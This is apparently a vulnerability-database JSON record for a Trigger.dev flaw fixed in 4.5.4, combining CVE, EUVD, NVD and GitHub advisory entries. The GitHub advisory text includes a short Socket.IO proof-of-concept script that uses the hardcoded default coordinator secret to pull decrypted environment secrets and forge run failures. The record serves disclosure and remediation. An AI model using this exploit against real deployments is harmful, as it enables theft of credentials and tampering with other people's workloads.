{"id":"CVE-2026-114088","revision":null,"records":[{"revision":"f282ade7bb924f55b9716abf87f50733","observedAt":"2026-10-27T22:45:55.385+00:00","statement":{"source":"cve-program","id":"CVE-2026-114088","aliases":[],"title":"Trigger.dev before 4.5.4 Hardcoded Coordinator Secret Authentication Bypass via Socket.IO","description":"Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the published coordinator-secret value. Attackers can emit READY_FOR_EXECUTION to retrieve decrypted run environment variables or send TASK_RUN_FAILED_TO_RUN and similar events to tamper with arbitrary runs.","state":0,"publishedAt":"2026-10-21T00:36:54.157+00:00","modifiedAt":"2026-10-27T21:52:33.402+00:00","affected":[{"ecosystem":"Vendor product","name":"trigger.dev","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"triggerdotdev\",\n                    \"product\": \"trigger.dev\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/trigger.dev\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"4.5.4\"\n                        },\n                        {\n                            \"version\": \"4.5.4\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","score":8.3,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-gg6r-gp4c-89hp","https://www.vulncheck.com/advisories/trigger-dev-before-4.5.4-hardcoded-coordinator-secret-authentication-bypass-via-socket-io"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-114088","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-114088","identifiers":["CVE-2026-114088"]},"retained":false,"historicalAffected":[]},{"revision":"66c4ae3aaa7d48868a5fa9b710fb7ae3","observedAt":"2026-10-30T01:58:24.267+00:00","statement":{"source":"euvd","id":"EUVD-2026-106891","aliases":["CVE-2026-114088","GHSA-j3cj-67wq-q96g"],"title":"Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the published coordinator-secret value. Attackers can emit READY_FOR_E…","description":"Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the published coordinator-secret value. Attackers can emit READY_FOR_EXECUTION to retrieve decrypted run environment variables or send TASK_RUN_FAILED_TO_RUN and similar events to tamper with arbitrary runs.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","score":8.3,"severity":null}],"references":["https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-gg6r-gp4c-89hp","https://www.vulncheck.com/advisories/trigger-dev-before-4.5.4-hardcoded-coordinator-secret-authentication-bypass-via-socket-io"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-106891","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 21, 2026, 12:36:54 AM","dateUpdated":"Oct 27, 2026, 9:52:33 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-106891","identifiers":["EUVD-2026-106891","CVE-2026-114088","GHSA-j3cj-67wq-q96g"]},"retained":false,"historicalAffected":[]},{"revision":"a39ac8ba32d342e2ab4334c3a0e66a4a","observedAt":"2026-10-29T06:48:04.607+00:00","statement":{"source":"nvd","id":"CVE-2026-114088","aliases":[],"title":"Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the published coordinator-secret value. Attackers can emit READY_FOR_E…","description":"Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the published coordinator-secret value. Attackers can emit READY_FOR_EXECUTION to retrieve decrypted run environment variables or send TASK_RUN_FAILED_TO_RUN and similar events to tamper with arbitrary runs.","state":0,"publishedAt":"2026-10-21T01:17:33.607+00:00","modifiedAt":"2026-10-27T22:17:24.84+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.3,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-gg6r-gp4c-89hp","https://www.vulncheck.com/advisories/trigger-dev-before-4.5.4-hardcoded-coordinator-secret-authentication-bypass-via-socket-io"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114088","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-798"],"productCriteria":[],"sourceDates":{"published":"2026-10-21T01:17:33.607","lastModified":"2026-10-27T22:17:24.840"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-114088","identifiers":["CVE-2026-114088"]},"retained":false,"historicalAffected":[]},{"revision":"f00fd9524c8a4f5684f6877c319d1760","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-gg6r-gp4c-89hp","aliases":["CVE-2026-114088"],"title":"Trigger.dev: V1 coordinator default-secret unauth Socket.IO","description":"## TL;DR\n\nThe /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret (\"coordinator-secret\") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.\n\n## Vulnerabilities\n\nThis attack is made possible by 3 vulnerabilities in Trigger.dev:\n\n### 1. Hardcoded default authentication secret (CWE-798, Critical)\nPROVIDER_SECRET and COORDINATOR_SECRET are declared with `.default(\"provider-secret\")` / `.default(\"coordinator-secret\")` in [`apps/webapp/app/env.server.ts:289-290`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/env.server.ts#L289-L290). The values are present in the public source repo, neither var is documented in `docs/self-hosting/env/*.mdx`, `hosting/docker/.env.example`, or `hosting/k8s/helm/values.yaml`, and the auth check at [`packages/core/src/v3/zodNamespace.ts:148`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/packages/core/src/v3/zodNamespace.ts#L148) is a plain string compare against that published value\n\n### 2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)\n`READY_FOR_EXECUTION` at [`apps/webapp/app/v3/handleSocketIo.server.ts:123`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/handleSocketIo.server.ts#L123) calls `sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...)`, which at [`apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts#L1881-L1895) returns `payload.environment` as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only `marqs/` code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below\n\n### 3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)\nTASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. `attempt_*` friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id\n\n## Exploit chain / PoC\n\n```js\nimport { io } from \"socket.io-client\";\n\nconst sock = io(\"https://<self-hosted-target>/coordinator\", {\n  auth: { token: \"coordinator-secret\" },\n  transports: [\"websocket\"],\n});\n\nsock.on(\"connect\", () => {\n  // exfil decrypted env for a known run id\n  sock.emit(\"READY_FOR_EXECUTION\", { runId: \"<runId>\", totalCompletions: 0 }, (res) => {\n    console.log(res.payload.environment);\n    // { DATABASE_URL: \"...\", STRIPE_SECRET_KEY: \"...\", OPENAI_API_KEY: \"...\", ... }\n  });\n\n  // mark any attempt failed\n  sock.emit(\"TASK_RUN_FAILED_TO_RUN\", {\n    completion: {\n      id: \"<attempt_friendlyId>\",\n      ok: false,\n      error: { type: \"INTERNAL_ERROR\", code: \"FORGED\", message: \"owned\" },\n    },\n  });\n});\n```\n\n## Resolution\n\nFixed in **v4.5.4**. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit `5ba8557a5` (#4236) — including the `/coordinator`, `/provider`, and `/shared-queue` Socket.IO namespaces, `packages/core/src/v3/zodNamespace.ts`, the `marqs` shared-queue consumer, and the `PROVIDER_SECRET` / `COORDINATOR_SECRET` environment variables.\n\nAll three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the `READY_FOR_EXECUTION` env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.\n\n**Affected:** self-hosted Trigger.dev `< 4.5.4`. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).\n\n**Managed cloud (cloud.trigger.dev) was not affected:** it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.\n\n**Action:** self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.","state":0,"publishedAt":"2026-10-02T22:39:00+00:00","modifiedAt":"2026-10-21T10:57:20.130154+00:00","affected":[{"ecosystem":"npm","name":"trigger.dev","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.5.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-gg6r-gp4c-89hp","https://github.com/triggerdotdev/trigger.dev/pull/4236","https://github.com/triggerdotdev/trigger.dev/commit/5ba8557a51533be05f04245b03e1ca975cd57eff","https://github.com/triggerdotdev/trigger.dev","https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.4"],"sourceUrl":"https://github.com/advisories/GHSA-gg6r-gp4c-89hp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gg6r-gp4c-89hp","identifiers":["GHSA-gg6r-gp4c-89hp","CVE-2026-114088"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-31T17:06:49.5453808+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-10-31T17:06:49.5453808+00:00","lastSuccessAt":"2026-10-31T17:06:49.7005889+00:00","error":null,"lastVerifiedAt":"2026-10-31T17:06:49.7005902+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-9266d7b009bf9c4a0ccdcb5cbdea7f905cb3c4d92fd3b41581ece16b2cfdc4e7-784b766ea38315a717f0f300983019726d402e8f914672a2c27c9b5c7ac467c0","complete":true,"records":417579,"lastAttemptAt":"2026-10-31T17:04:51.2200836+00:00","lastSuccessAt":"2026-10-31T17:04:51.1803831+00:00","error":null,"lastVerifiedAt":"2026-10-31T17:04:51.2200836+00:00","snapshotPublishedAt":"2026-10-31T16:26:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1ea90a365f5b43ef9a5b92be53fe0867","complete":true,"records":13565,"lastAttemptAt":"2026-10-31T17:07:15.7147939+00:00","lastSuccessAt":"2026-10-31T11:34:32.033+00:00","error":null,"lastVerifiedAt":"2026-10-31T11:34:32.033+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-31T17:06:49.5453808+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-31T17:06:49.5453808+00:00","lastSuccessAt":"2026-10-31T17:06:49.7014183+00:00","error":null,"lastVerifiedAt":"2026-10-31T17:06:49.7014185+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-76f55bade79746ceb7d00f18b2c86efc","complete":true,"records":13578,"lastAttemptAt":"2026-10-31T17:07:15.0280111+00:00","lastSuccessAt":"2026-10-31T17:07:15.025+00:00","error":null,"lastVerifiedAt":"2026-10-31T17:07:15.025+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-10-31T17:06:49.3868114+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-10-31T17:06:49.3868114+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-31T17:04:51.3839718+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-31T17:04:51.3839718+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-10-31T17:06:49.5070707+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-10-31T17:06:49.5070707+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-712291bb5a0ee4f1ca7325e317f98ff05e9ab8d14f863abf00a323d9e6d8331e","complete":true,"records":230994,"lastAttemptAt":"2026-10-31T17:06:49.2526999+00:00","lastSuccessAt":"2026-10-31T17:06:47.8999408+00:00","error":null,"lastVerifiedAt":"2026-10-31T17:06:49.2526999+00:00","snapshotPublishedAt":"2026-10-31T16:33:38+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}